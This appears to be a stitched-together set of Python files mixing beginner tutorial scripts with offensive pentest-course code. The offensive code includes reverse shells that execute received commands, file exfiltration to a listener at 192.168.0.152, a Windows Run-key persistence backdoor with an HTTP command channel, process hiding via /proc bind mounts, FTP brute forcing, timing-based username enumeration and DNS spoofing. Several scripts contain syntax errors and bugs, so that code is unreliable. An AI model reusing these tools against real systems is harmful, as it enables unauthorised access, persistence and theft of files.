For Windows you need to use double \ so python doesn't treat the second \ as an escape character, a file path is in the form:
myfile = open("C:\\Users\\YourUserName\\Home\\Folder\\myfile.txt")
For MacOS and Linux you use slashes in the opposite direction:
myfile = open("/Users/YouUserName/Folder/myfile.txt")
'''
print('Its a good practice to close your files')
myfile.close()
#this will automatically close the file.
fileModes = '''
File modes:
r - read
w - write (will overwrite for create new files)
a - append (will add to files)
r+ - reading and writing
w+ - writing and reading (Overwrite existing files or creates a new file!)
'''
print(fileModes)
with open('myTestFile.txt', mode = 'a') as my_new_file:
my_new_file.write('\nmore random text')
with open('myTestFile.txt', mode = 'r') as my_new_file:
print(my_new_file.read())<file_sep># Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
import socket
def connect():
s = socket.socket()
s.bind(("192.168.0.152", 8080))
s.listen(1) # define the backlog size for the Queue, I made it 1 as we are expecting a single connection from a single
conn, addr = s.accept() # accept() function will retuen the connection object ID (conn) and will return the client(target) IP address and source port in a tuple format (IP,port)
print ('[+] We got a connection from', addr)
while True:
command = input("Shell> ")
if 'terminate' in command: # If we got terminate command, inform the client and close the connect and break the loop
conn.send('terminate'.encode())
conn.close()
break
else:
conn.send(command.encode()) # Otherwise we will send the command to the target
print( conn.recv(1024).decode()) # print the result that we got back
def main():
connect()
main()
<file_sep># Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
import socket
import subprocess
import os
# In the transfer function, we first check if the file exisits in the first place, if not we will notify the attacker
# otherwise, we will create a loop where each time we iterate we will read 1 KB of the file and send it, since the
# server has no idea about the end of the file we add a tag called 'DONE' to address this issue, finally we close the file
def transfer(s, path):
if os.path.exists(path):
f = open(path, 'rb')
packet = f.read(1024)
while len(packet) > 0:
s.send(packet)
packet = f.read(1024)
s.send('DONE'.encode())
else:
s.send('File not found'.encode())
def connecting():
s = socket.socket()
s.connect(("192.168.0.152", 8080))
while True:
command = s.recv(1024)
if 'terminate' in command.decode():
s.close()
break
# if we received grab keyword from the attacker, then this is an indicator for file transfer operation, hence we will split the received commands into two parts, the second part which we intersted in contains the file path, so we will store it into a varaible called path and pass it to transfer function
# Remember the Formula is grab*<File Path>
# Absolute path example: grab*C:\Users\Hussam\Desktop\photo.jpeg
elif 'grab' in command.decode():
grab, path = command.decode().split("*")
try:
transfer(s, path)
except:
pass
else:
CMD = subprocess.Popen(command.decode(), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,stdin=subprocess.PIPE)
s.send(CMD.stderr.read())
s.send(CMD.stdout.read())
def main():
connecting()
main()
<file_sep>import sys
print ('hello world')
# comment is a hashtag
print()
print('####'*10)
print('Numbers in python')
print('####'*10)
print('Modulo Mod operator allows you to find out what is an even number')
print(50 % 5)
print(50 % 3)
print()
print('To the power of uses 2 stars like so 2 ** 4')
print(2 ** 4)
print(1/2)
print()
print('####'*10)
print('Variable Assignments in Python')
print('####'*10)
my_dogs = 3
print(type(my_dogs))
my_dogs = ["River","Amber", "Nala"]
print('python has dynamic typing for variables')
print('be aware of type() function to check type of any variable')
dataType = type(my_dogs)
print(dataType)
myname = "<NAME>"
sentence = "String are sequenced in Python, thus it has index values for each letter in the string."
print(sentence)
print("Use '\\n' to print a new line")
print('\n')
myNameLength = len(myname)
print('The lenght of my name including a space is')
print(myNameLength)
print(myname[-1])
print('\n')
print(myname[6:])
print(myname[:5])
print(myname[2:5])
print(myname[::2])
print("This will reverse a string")
print(myname[::-1])
letter = 'z'
print(letter*10)
print(letter.upper())
#format() method
print('My name is {}'.format('Steve'))
print('The {2} {1} {0}'.format('fox', 'brown', 'quick'))
formatting = 'Insert another string with curly brackets: {}. {}'.format('The inserted string', "Does this work?")
print(formatting)
#float formatting follows "{value:width.precision f}"
print('The result was {r:1.3f}'.format(r = 100/777))
#f-string method introduced with python 3.6
name = 'Jose'
print('Remember the f infront of the string literal')
print(f'Hello my instructors name is {name}')
print('First: %s, Second: %5.2f, Third: %r' %('hi!',3.1415,'bye!'))
print()
print('####'*10)
print('Lists')
print('####'*10)
#lits in python are ordered, contain arbitary objects (can mix data and object types), can access via index, mutable
myList = [1,2,3]
myMixedList = ['String', 100, 123.45]
anotherList = myList + myMixedList
print(anotherList)
print('Lists are mutable')
anotherList[3] = 'Four'
anotherList.append('Six')
print(anotherList)
print('Popped item of list is removed from the list ' + anotherList.pop())
print(anotherList)
letterList = ['a', 'x', 'b', 'z']
numberList = [4,5,1,3,2,6]
letterList.sort()
print(letterList)
print()
print('####'*10)
print('Dictionaries')
print('####'*10)
myDictionary = {'Key':'Value', 'Name':'Steve', 'Age':29, 'Sex':'Male'}
print('My name is {}'.format(myDictionary['Name']))
print('My age is {}'.format(myDictionary['Age']))
capName = myDictionary['Name'].upper()
print(capName)
print(myDictionary.keys())
print(myDictionary.values())
print(myDictionary.items())
spanish = dict()
spanish['hello'] = 'hola'
spanish['yes'] = 'si'
print(spanish['hello'])
print(spanish.values())
a = dict( one = 1, two = 2, three = 3)
print(a.values())
def createDictionary():
'''Return a tiny spanish dictionary'''
spanishNumbers = dict()
spanishNumbers['one'] = 'uno'
spanishNumbers['two'] = 'dos'
spanishNumbers['three'] = 'tres'
return spanishNumbers
someDictionary = createDictionary()
print('{} {} {}'.format(someDictionary['one'], someDictionary['two'], someDictionary['three']) )
#f you do want the capabilities of a dictionary but you would like ordering as well, check out the ordereddict object
print()
print('####'*10)
print('Tuples')
print('####'*10)
print("In Python tuples are very similar to lists, however, unlike lists they are immutable meaning they can not be changed. You would use tuples to present things that shouldn't be changed, such as days of the week, or dates on a calendar.")
print('Instead of [] brackets we use () for tuples along with the commans in it')
myTuples = (4,3,1989)
print(type(myTuples))
t = ('a', 'a', 'b')
print(t.count('a'))
print(t.index('a'))
print('Why use Tuples?')
print('If in your program you are passing around an object and need to make sure it does not get changed, then a tuple becomes your solution. It provides a convenient source of data integrity.')
#this is how you delete a tuple
tup1 = (1,2,3)
del tup1
print()
print('####'*10)
print('Sets')
print('####'*10)
#Sets are an unordered collection of unique elements. We can construct them by using the set() function.
#sets have to have unique values.
myset = set()
myset.add(1)
myset.add(2)
mylist = [1,1,1,2,2,3,3,3,3]
print(myset)
print('When yo put a list into a set it will just take all the unique values')
print(mylist)
print(set(mylist))
print()
print('####'*10)
print('Global Variables')
print('####'*10)
def randomPrint():
variable = 'I love South Africa' # local variable
print(variable)
#cant use global and local variables
variable = 'I love America' #global variable
randomPrint()
print(variable)
print()
print('####'*10)
print('Loops')
print('####'*10)
animals = ['cat', 'dog', 'fish', 'python']
# for loop with a list
for animal in animals:
print(animal, len(animal))
for count in (1,2,3,4,5):
print('down')
print(count)
print("yes" * count)
for colour in ('red', 'green', 'blue'):
print(colour)
#while loops repeats as long as a certain bolean condition is met
number = 0
while number < 11:
print(number)
number += 1
myNumberList = [1,2,3,4,5,6,7,8,9,10]
for num in myNumberList:
if num % 2 == 0:
print(f'Even Number: {num}')
else:
print(f'Odd Number: {num}')
print()
print('Tuple Unpacking')
myTupleList = [(1,2,3),(4,5,6),(7,8,9)]
for a,b,c in myTupleList:
print(b)
#this will print the middle value in the tuple
#same thing can be done with a dictionary
# break can be used to exit a for or while loop
count = 0
while True:
print(count)
count += 1
if count >= 5:
break #breaks out of the while loop here when the if condition is met.
loopKeywords ='''
break: Breaks out of the current closest enclosing loop.
continue: Goes to the top of the closest enclosing loop.
pass: Does nothing at all.
'''
print(loopKeywords)
#conditional execution
print()
print('####'*10)
print('Conditional execution')
print('####'*10)
print(5 == 5)
print(5 != 6)
# <> != == > <
x = 10
somethingTrue = (x == 10)
print(somethingTrue)
y = 100
somethingFalse = (y != 100)
print(somethingFalse)
print()
print('####'*10)
print('if statements')
print('####'*10)
zero = 0
if zero == 0:
print('zero is 0')
x = 6
if x%2 == 0:
print('x is even')
else:
print('x is odd')
z = 6
y = 5
if z == y:
print('z and y are equal')
else:
if z < y:
print('z is less than y')
else:
print('z is greater than y')
weight = float(input('How many kilograms does your suitcase weigh? '))
if weight > 20:
print('There is an extra charge for suitcases that weigh over 20KG')
else:
print('Your suitcase is below the weight limit of 20KG')
#some additional if statement stuff like elif
print()
name = input('What is your name? ')
if name == 'Steve':
print(f'Nice name {name}')
elif name == 'John':
print(f'What a generic name {name} Doe')
else:
print(f'Your name is ok {name}')
print()
print('####'*10)
print('Useful Operations')
print('####'*10)
print('range(start,stop,step)')
print('Note that this is a generator function, so to actually get a list out of it, we need to cast it to a list with list(). What is a generator? Its a special type of function that will generate information and not need to save it to memory.')
print(list(range(0,11)))
print()
print('enumerate')
print("Keeping track of how many loops you've gone through is so common, that enumerate was created so you don't need to worry about creating and updating this index_count or loop_count variable")
for i in enumerate('abcde'):
print(i)
for i,letter in enumerate('abcde'):
print("At index {} the letter is {}".format(i,letter))
print()
print('zip')
print("You can use the zip() function to quickly create a list of tuples by 'zipping' up together two lists.")
mylist1 = [1,2,3,4,5]
mylist2 = ['a','b','c','d','e']
for item1, item2 in zip(mylist1,mylist2):
print('For this tuple, first item was {} and second item was {}'.format(item1,item2))
print()
print('in')
print("We've already seen the in keyword during the for loop, but we can also use it to quickly check if an object is in a list")
if 'x' in ['x','y','z']:
print('x is in our list')
print()
print('min and max')
print('Quickly check the minimum or maximum of a list with these functions.')
mylist = [10,20,30,40,100]
print('Min of my list is {}'.format(min(mylist)))
print('Max of my list is {}'.format(max(mylist)))
print()
print('random library')
from random import shuffle
print('shuffle(aList)')
from random import randint
print('randint(0,100) will return a random interger')
print(str(randint(0,100)))
print()
print('####'*10)
print('List Comprehensions')
print('####'*10)
myTestString = 'hello'
mmyTestList = []
for letter in myTestString:
mmyTestList.append(letter)
print(mmyTestList)
myTestList2 = [letter for letter in myTestString]
print(myTestList2)
myTestList3 = [x for x in 'some word']
print(myTestList3)
myTestList4 = [x for x in range(0,11)]
print(myTestList4)
myEvenSquareList = [x for x in range(0,11) if x%2 == 0]
print('A Even Square list')
print(myEvenSquareList)
print('You can use if else in list comprehensions.')
evenOddResult = [x if x%2==0 else 'ODD' for x in range(0,21)]<file_sep># Timing attack exploit on the login form for hackerNote
# You can increase your success chance by adding your own username to the top of the list
# Assumes you have at least ONE correct username, create an account and use that!
import requests as r
import time
import json
URL = "http://localhost:8081/api/user/login"
USERNAME_FILE = open("names.txt", "r")
usernames = []
for line in USERNAME_FILE: # Read in usernames from the wordlist
usernames.append(line.replace("\n", ""))
timings = dict()
def doLogin(user): # Make the HTTP request to the API
creds = {"username": user, "password": "<PASSWORD>!"}
response = r.post(URL, json=creds)
if response.status_code != 200: # This means there was an API error
print("Error:", response.status_code)
print("Starting POST Requests")
for user in usernames:
# Do a request for every user in the list, and time how long it takes
startTime = time.time()
doLogin(user)
endTime = time.time()
# record the time for this user along with the username
timings[user] = endTime - startTime
# Wait to avoid DoSing the server which causes unreliable results
time.sleep(0.01)
print("Finished POST requests")
# Longer times normally mean valid usernames as passwords were verified
largestTime = max(timings.values())
smallestTime = min(timings.values())
# Ideally the smallest times should be near instant, and largest should be 1+ seconds
print("Time delta:", largestTime-smallestTime, "seconds (larger is better)")
# A valid username means the server will hash the password
# As this takes time, the longer requests are likely to be valid users
# The longer the request took, the more likely the request is to be valid.
for user, time in timings.items():
if time >= largestTime * 0.9:
# with 10% time tolerence
print(user, "is likely to be valid")
<file_sep>#!/usr/bin/python
# some servers allow for anonymous login
import ftplib
def anonLogin(hostname):
try:
ftp = ftplib.FTP(hostname)
ftp.login('anonymous', 'anonymous')
print "[+] " + hostname + " FTP Anonymous login succeded"
except Exception, e:
print "[-] " + hostname + " FTP Anonymous login failed"
host = raw_input("Enter the host IP address: ")
anonLogin(host)<file_sep>import random
difficulty = 3
health = 50
potionHealth = int(random.randint(25,50) / difficulty)
health = health + potionHealth
print(health)<file_sep>import socket
CHUCK_SIZE = 4 * 1024
DELIMETER = "<END_OF_RESULTS>"
class ServerConnection:
def __init__(self):
# Create TCP Socket for Server
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def createConnection(self, ip="", port=9001):
self.server_ip = ip
self.server_port = port
self.address = (self.server_ip, self.server_port)
self.sock.bind(self.address)
def listen(self, backlog = 5):
self.sock.listen(backlog)
def acceptConnection(self):
self.client_conn, self.client_address = self.sock.accept()
print("[+] Connection established with " + self.client_address[0] + " on port " + str(self.client_address[1]))
return (self.client_conn, self.client_address)
def sendData(self, user_input):
user_input_bytes = user_input.encode("utf-8")
self.client_conn.send(user_input_bytes)
def receiveData(self):
received_data_bytes = self.client_conn.recv(CHUCK_SIZE)
self.data = received_data_bytes.decode("utf-8")
return self.data
def receiveCommandResult(self):
print("[+] Getting Command Results")
result = b''
while True:
chunk =self.client_conn.recv(CHUCK_SIZE)
if chunk.endswith(DELIMETER.encode()):
chunk += chunk[:-len(DELIMETER)]
result += chunk
break
result += chunk
return result.decode()
def sendFile(self, filename):
# Todo: encode and encrypt to deceive IDS and anti-virus software
print("[+] Sending file")
with open(filename, "rb") as file:
chunk = file.read(CHUCK_SIZE)
while len(chunk) > 0:
self.client_conn.send(chunk)
chunk = file.read(CHUCK_SIZE)
self.client_conn.send(DELIMETER.encode())
def receiveZipped(self, zippedFile):
print("[+] Receiving zipped file/folder")
full_file = b''
while True:
chunk = self.client_conn.recv(CHUCK_SIZE)
if chunk.endswith(DELIMETER.decode()):
chunk = chunk[:-;len(DELIMETER)]
full_file += chunk
break
full_file += chunk
with open(zippedFile, "wb") as file:
file.write(full_file)
print("[+] File/Folder downloaded successfully")
def changeDirectory(self):
print("[+] Changing directory")
pwd = self.receiveData()
while True:
print(f'{pwd} >> ', end=" ")
user_command = input("")
self.sendData(user_command)
if user_command == "stop":
break
pwd = self.receiveData()<file_sep># 21 Sep 2021 - Python for Beginners <NAME>
print("Hello Steve, its been a while!")
print("Lets do some simple arithmetic math.")
print(400 + 20)
print("To the power of **")
print("Remember modulo % - this finds remainders (useful for odds or evens, etc)")
print(10 ** 3)
print('\n')
print('-' * 20)
print('Variables')
print('-' * 20)
example_var = "Variable names are case sensitive and cannot start with a number. They can only contain alpha-numeric characters (A-z, 0-9 and _)"
print(example_var)
print('snake_case is preferred over camelCase')
"""
Multi
Line
Comment
"""
'''
Can use single or double quotes
for multi-line commnets
'''
print('\n')
print('-' * 20)
print('Playing with Strings')
print('-' * 20)
print('Let\'s try escape with \\ \n\\n is for new line.')
statement = '''
Printing
Multi
Line
Statement
'''
print(statement)
name = 'Neo'
print('Hello ' + name)
year = 2021
print('The year is ' + str(year))
print('Follow the white rabbit {}'.format(name))
day = '5th'
month = 'November'
# More secure to assign a variable name in the format params
print('Remember remember the {first} of {last}...'.format(first=day, last=month))
# Better version of the format statement f''
hello_statement = f'Hello again {name}'
print(hello_statement.upper())
string_methods = '''
Useful string methods
.capitalize() - capitalize first letter of string
.count('a') - count how many times a is in the string
.endswith('a') - true or false to check if the string ends with a
.isdigit() - true or false to determine if the string is an digit
'''
print(string_methods)
print('\n')
print('Getting user input')
username = input('Enter your name: ')
print(f'Hello {username}')
print('\n')
print('-' * 20)
print('Lists - collections of data')
print('-' * 20)
my_list = [1,2,3,4,5]
my_list_2 = [6,7,8,9,10]
print(my_list)
cat_list = ['Tiger','Lion','Puma']
print(cat_list)
print('The king of the jungle is a ' + cat_list[1])
print('To get the last element of a list you can use -1, my_list[-1]')
print('The length of the cat_list is: ' + str(len(cat_list)))
print('\n')
print('Slicing Lists')
print('Slice the first two elements of an list [0:2] - ' + str(my_list[0:2]))
new_list = my_list + my_list_2
print('Print only every 2nd increment [0:-1:2] - ' + str(new_list[0:10:2]))
print('Adding and removing elements from an list')
print('.append(\'something\') - add to the end of an list')
print('.insert(index, new_value) - insert into an list')
print('.remove(value) - find value and remove the first occurrence of it from the list')
print('.pop(index) - remove element based on index value')
print('.reverse() - reverse the list')
print('.sort() - sort the list')
nested_list = [[1,2,3],[4,5,6],[7,8,9]]
print(len(nested_list))
print(f'My nested list has {nested_list[0][2]} lists in it.')
print('\n')
print('-' * 20)
print('Booleans - True or False')
comparison_operators = '''
Comparison Operators
== Equals
!= Not Equals
> Greater Than
< Less Than
>= Greater than or equal to
<= Less that or equal to
'''
print(comparison_operators)
print('-' * 20)
print(2 < 3)
print('\n')
print('-' * 20)
print('Flow Control: If Statements')
print('If, elif and else')
print('-' * 20)
if username.lower() == 'neo':
print(f"Hello {username}, you are the one.")
elif username.lower() == 'trinity':
print(f'{username}, you will fall in love with the one.')
else:
print(f"Unfortunately {username}, you are not the one.")
print('\n')
print('-' * 20)
print('Loops')
print('Two different types of loops, FOR and WHILE')
print('-' * 20)
print('For Loops: Iteration!')
new_numbers = [1,2,3,4,5]
for x in new_numbers:
print(x)
sum_of_loop = 0
for x in range(3,6):
sum_of_loop += x
print(sum_of_loop)
co_workers = ['Gin','Ben','Tom', 'Bob']
for y in co_workers:
if y == 'Tom':
print('Tom is my only real co-worker')
break
else:
print(f'{y} is not an real co-worker')
print('While Loops!')
x = 0
while x < 10:
x += 1
if x == 5:
print('Half way there...')
# Notice how it does not print 5 and jumps over this iteration
continue
print(x)
else:
print('x is now equal or larger than 10')
print('\n')
print('-' * 20)
print('Functions')
print('-' * 20)
""" my_new_list = [1,2,3,4]
my_new_list.append(5)
print(my_new_list) """
def my_function(first_name):
print(f"Hello! {first_name}")
print("Printing from an function")
my_function('Neo')
# passing in multiple arguments of unknown argument length
def my_function_2(*bunch_of_data):
print(bunch_of_data[-1])
my_function_2(1,2,3,4,5)
def my_function_3(high_number, low_number):
print(high_number)
print(low_number)
my_function_3(low_number=1, high_number=9)
# assigning default values
def my_function_4(country = 'Somewhere in the world.'):
print(country)
my_function_4()
my_function_4('United Kingdom')
def my_function_5(num_one, num_two):
return num_one * num_two
print(my_function_5(5,5))
# Fibonacci Sequence in non-recursive mannor
def fib_seq(amount):
n1 = 0
n2 = 1
if amount <= 0:
print('Please change to a positive int')
elif amount == 1:
print('Fib seq: ')
print(n1)
else:
print('Fib seq: ')
count = 0
while count < amount:
print(n1)
fib_sum = n1 + n2
n1 = n2
n2 = fib_sum
count += 1
fib_seq(13)
# Possible for an function to call itself - this is an recursive function
def factorial(x):
if x == 1:
return 1
else:
return x * factorial(x - 1)
print('Factorial of 5 is: ' + str(factorial(5)))
def fib_seq_recursive(amount):
if amount == 0:
return 0
elif amount == 1:
return 1
else:
return fib_seq_recursive(amount - 2) + fib_seq_recursive(amount - 1)
print(fib_seq_recursive(13))
print('\n')
print('-' * 20)
print('Advanced String methods')
print('-' * 20)
greetings = "Welcome, to the Python world!"
#indexing
#print(grettings[0])
#Slicing
print(greetings[0:7])
#Length of string
print(len(greetings))
# return a list seperated by comma
#print(greetings.split(','))
# Find and return index
#print(greetings.find('Python'))
# Join two strings with some conditions - useful for time strings
print(greetings, ':'.join('abcdefg'))
password = '<PASSWORD>! '
# strip off whitespaces with strip()
print(password.strip())
# replace
new_greetings = greetings.replace('Welcome to', 'Hello there and welcome to')
print(new_greetings)
print('\n')
print('-' * 20)
print('Dictionaries')
print('A dictionary is a collection which is unordered, changeable and indexed. In python they are writing with curly brackets, and have key, value pairs')
print('-' * 20)
user_dict = {
'first_name': 'Thomas',
'last_name': 'Anderson',
'alias' : 'Neo'
}
print(user_dict)
print(user_dict.get('alias'))
# add to dictionary
user_dict['lover'] = 'Trinity'
print(user_dict)
print(len(user_dict))
# can remove either with pop or popitem which deletes the last value
user_dict.pop('lover')
user_dict.popitem()
# use delete with caution as you can delete the whole dictionary
del user_dict['last_name']
# remove all key value pairs with .clear()
for x, y in user_dict.items():
print(x, y)
# Copying dictionary
# cant directly copy as it will copy the memory address
# this is the proper way to copy
dict2 = user_dict.copy()
print(dict2)
# can create nested dictionaries
family = {
'child1': {
'firstname': 'John'
},
'child2' : {
'firstname': 'Merry'
}
}
print('\n')
print('-' * 20)
print('Sets amd Tuples')
print('A tuple is a collection which is ordered and unchangeable. In python they are writing in round parentheses.')
print('-' * 20)
my_tuple = (1,2,3,4,5)
print(my_tuple)
print('Cant change values in a tuple!')
sets = """
Sets!
- Sets are a type of data structure like lists
- Lists are slightly faster than sets when you just want to iterate over values
- Sets, however, are significantly faster that an lists if you wna to check if an item is contained within it. They can only contain unique items though.
- Used most often to remove duplicates, and to check if item exists
- Sets are unordered
"""
print(sets)
my_set1 = {'apples','bananas','oranges', 'melons'}
print(my_set1)
print('melons' in my_set1)
print('grapes' in my_set1)
for x in my_set1:
print(x)
# Two ways to remove items in an set .remove('something') - will error if item does not exist
# .discard('apples') - does not error out if item does not exist
# can combine sets
set_one = {1,2,3,4,5}
set_two = {6,7,8,9,10}
set_three = set_one.union(set_two)
# add to set
set_three.add(11)
# add more than 1 item
set_three.update([12,13])
print('\n')
print('-' * 20)
print('Importing Modules and Standard Library')
print('-' * 20)
import random as ran
types_of_drinks = ['Soda','Water','Coffee','Tea']
print(str(ran.randint(1,10)) + ' - ' + ran.choice(types_of_drinks))<file_sep>#!/usr/bin/python3
# Scapy is a python library that allows us to design, manipulate, intercept and process packets
# Scapy sets header fields by default.
# Have to be root to run this.
from scapy.all import IP, ICMP, sr1, ls
ip_layer = IP(src="192.168.0.1", dst="www.google.com")
#print(ip_layer.show())
icmp_req = ICMP()
# Help to list (ls) details about the layer.
print(ls(ip_layer))
print(ip_layer.show())
print(ip_layer.summary())
print(icmp_req.show())
# Add the layers together with /
packet = ip_layer / icmp_req
#print(packet.show())
received_packet = sr1(packet)
if received_packet:
print(received_packet.show())<file_sep>#Python function practice exercises
print('LESSER OF TWO EVENS: Write a function that returns the lesser of two given numbers if both numbers are even, but returns the greater if one or both numbers are odd')
def lesser_of_two_evens(a,b):
if a%2==0 and b%2==0 :
#Both numbers are even
#if a < b:
# result = a
#else:
# result = b
return min(a,b)
else:
#One or both numbers are odd.
#if a > b:
# result = a
#else:
# result = b
return max(a,b)
print(lesser_of_two_evens(2,4))
print(lesser_of_two_evens(2,5))
print()
print('ANIMAL CRACKERS: Write a function takes a two-word string and returns True if both words begin with same letter')
def animal_crackers(string):
words = string.lower().split()
return words[0][0] == words[1][0]
print(animal_crackers('Crazy cat'))
print(animal_crackers('Dog Wolf'))
print()
print('MAKES TWENTY: Given two integers, return True if the sum of the integers is 20 or if one of the integers is 20. If not, return False')
def makes_twenty(x,y):
return x+y==20 or x==20 or y==20
print(makes_twenty(20,10))
print(makes_twenty(12,8))
print(makes_twenty(2,3))<file_sep>"""
Store service is used to calculate the total cost of the grocery list
and to see if user has enough money
"""
def purchase_items(user_money, items):
items_total_cost = 0
for item in items:
items_total_cost = items_total_cost + item
if items_total_cost <= user_money:
amount_left = user_money - items_total_cost
print(f'Purchase Complete: ${amount_left} left')
else:
print('You cannot afford all of these items.')
# Test case
arg_1 = 15
arg_2 = [10, 2]
# purchase_items(arg_1, arg_2)<file_sep>#!/usr/bin/python
# python 3
# The file contains username and password seperated by :
import ftplib
def bruteLogin(host,passwdFile):
try:
passFile = open(passwdFile,'r')
except:
print("[-] Could not open file.")
for line in passFile.readlines():
userName = line.split(':')[0]
password = line.split(':')[1].strip('\n')
print("[+] Trying: " + username + ':' + password)
try:
ftp = ftplib.FTP(host)
login = ftp.login(userName,password)
print("[+] Login Suceeded with: " + username + ':' + password)
ftp.quit()
return(userName,password)
except:
pass
print("[-] Password not in the list")
host = input("[*] Enter the host IP address: ")
passwdFile = input("[*] Enter User/Password File Path: ")
bruteLogin(host, passwdFile)
<file_sep>#!/usr/bin/python
# This code originates from https://www.udemy.com/course/offensive-python-mastering-ethical-hacking-using-python/learn/lecture/8095344#overview
import os,socket,subprocess,string,time
import random as r
ch = string.uppercase + string.digits
token = "".join(r.choice(ch) for i in range(6))
pid = os.getpid()
# The line below will hide the process
# Learn more about mount binding and how we use that to hide the process
os.system("mkdir /tmp/{1} && mount -o bind /tmp/{1} /proc/{0}".format(pid,token)) # make bind mount on the current process folder in /proc to hide it
host = "localhost"
port = 8888
def MakeConnection(h,p):
try:
time.sleep(5)
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((h,p))
while True:
command = sock.recv(1024)
if command.strip("\n") == "exit":
sock.close()
proc = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
proc_result = proc.stdout.read() + proc.stderr.read()
sock.send(proc_result)
except socket.error:
pass
while True:
MakeConnection(host, port)<file_sep>#Statements Assessment Test
print('#'*10)
print('Udemy Python Bootcamp')
print('Statements Assessment Test')
print('#'*10)
print("Use for, .split(), and if to create a Statement that will print out words that start with 's'")
st = 'Print only the words that start with s in this sentence'
myWords = []
myWords = st.split()
mySwords = []
for word in myWords:
if word[0].lower() == 's':
mySwords.append(word)
print(mySwords)
#better logic from solution
for word in st.split():
if word[0] == 's':
print(word)
print()
print('Use range() to print all the even numbers from 0 to 10.')
betterEvenList = list(range(0,11,2))
myEvenList = [x for x in range(0,11) if x%2 == 0]
print(myEvenList)
print()
print('Use a List Comprehension to create a list of all numbers between 1 and 50 that are divisible by 3.')
myListComp = [y for y in range(0,51) if y%3 == 0]
print(myListComp)
print()
print('Go through the string below and if the length of a word is even print "even!"')
someSentence = 'Print every word in this sentence that has an even number of letters'
print(someSentence)
for word in someSentence.split():
if len(word) % 2 == 0:
print(f'Word : "{word}" is even!')
print('Write a program that prints the integers from 1 to 100. But for multiples of three print "Fizz" instead of the number, and for the multiples of five print "Buzz". For numbers which are multiples of both three and five print "FizzBuzz".')
for num in range(0,101):
if num % 3 and num % 5 == 0:
print("FizzBuzz")
elif num % 3 == 0:
print("Fizz")
elif num % 5 == 0:
print("Buzz")
else:
print(num)
print('Use List Comprehension to create a list of the first letters of every word in the string below:')
st1 = 'Create a list of the first letters of every word in this string'
myList = [word[0] for word in st1.split()]
print(myList)<file_sep># Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
import requests
import os
import subprocess
import time
import shutil
import winreg as wreg
#Reconn Phase
path = os.getcwd().strip('/n')
Null, userprof = subprocess.check_output('set USERPROFILE', shell=True,stdin=subprocess.PIPE, stderr=subprocess.PIPE).decode().split('=')
destination = userprof.strip('\n\r') + '\\Documents\\' + 'client.exe'
#If it was the first time our backdoor gets executed, then Do phase 1 and phase 2
if not os.path.exists(destination):
shutil.copyfile(path+'\client.exe', destination) #You can replace path+'\client.exe' with sys.argv[0] ---> the sys.argv[0] will return the file name
key = wreg.OpenKey(wreg.HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", 0, wreg.KEY_ALL_ACCESS)
wreg.SetValueEx(key, 'RegUpdater', 0, wreg.REG_SZ, destination)
key.Close()
#Last phase is to start a reverse connection back to our kali machine
while True:
req = requests.get('http://192.168.0.152:8080')
command = req.text
if 'terminate' in command:
break
elif 'grab' in command:
grab, path = command.split("*")
if os.path.exists(path):
url = "http://192.168.0.152:8080/store"
files = {'file': open(path, 'rb')}
r = requests.post(url, files=files)
else:
post_response = requests.post(url='http://192.168.0.152:8080', data='[-] Not able to find the file!'.encode())
else:
CMD = subprocess.Popen(command, shell=True,stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
post_response = requests.post(url='http://192.168.0.152:8080', data=CMD.stdout.read())
post_response = requests.post(url='http://192.168.0.152:8080', data=CMD.stderr.read())
time.sleep(3)
<file_sep>import sys
import os
import shutil
import winreg
def becomePersistant(my_socket):
print("[+] Becoming persistant by adding registyr keys to statup program")
# copy the current executable to some directory
# we will use the %appdata% directory
# create exe with pyinstaller in the main hack_client folder
# pyinstaller --onefile --noconsole --name="system64.exe" main_client.py
current_exe = sys.executable
app_data = os.getenv("APPDATA")
to_save_file = app_data + "\\" + "system64.exe"
if not os.path.exists(to_save_file):
shutil.copyfile(current_exe, to_save_file)
key = winreg.HKEY_CURRENT_USER
# Path to store current key "Software\Microsoft\Windows\CurrentVersion\Run"
key_value = "Software\Microsoft\Windows\CurrentVersion\Run"
key_obj = winreg.OpenKey(key, key_value, 0, winreg.KEY_ALL_ACCESS)
winreg.SetValueEx(key_obj, "sys file", 0, winreg.REG_SZ, to_save_file)
winreg.CloseKey(key_obj)<file_sep>#!/usr/bin/python
# make sure netfilterquque library installed via pip
# check the dnsspoof-iptables-rules.txt for the IP routing rules
# that need to be implemented in order to pipe traffic to netfilterqueue
# here are the rules
# iptables --flush
# iptables -I FORWARD -j NFQUEUE --queue-num 0
# iptables -I OUTPUT -j NFQUEUE --queue-num 0
# iptables -I INPUT -j NFQUEUE --queue-num 0
import netfilterqueue
import scapy.all as scapy
def del_fields(scapy_packet):
# delete some fields that will cause detection if left as packet has been changed.
del scapy_packet[scapy.IP].len
del scapy_packet[scapy.IP].chksum
del scapy_packet[scapy.UDP].len
del scapy_packet[scapy.UDP].chksum
return scapy_packet
def process_pakcet(packet):
scapy_packet = scapy.IP(packet.get_payload())
# print(scapy_packet)
# DNSRR is the DNS response
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSQR].qname
if "something" in qname:
# Specify the IP address of the web server you want the DNS query to direct to
answer = scapy.DNSRR((rrname=quname, rdata="10.0.2.10"))
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1
scapy_packet = del_fields(scapy_packet)
packet.set_payload(str(scapy_packet))
packet.accept()
def findDNS(pac):
if pac.haslayer(DNS):
print pac[IP].src, pac[DNS].summary()
# sniff(prn=findDNS)
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()
<file_sep>#!/usr/bin/python
import socket
from struct import *
# https://docs.python.org/2/library/struct.html
def eth_addr(packet):
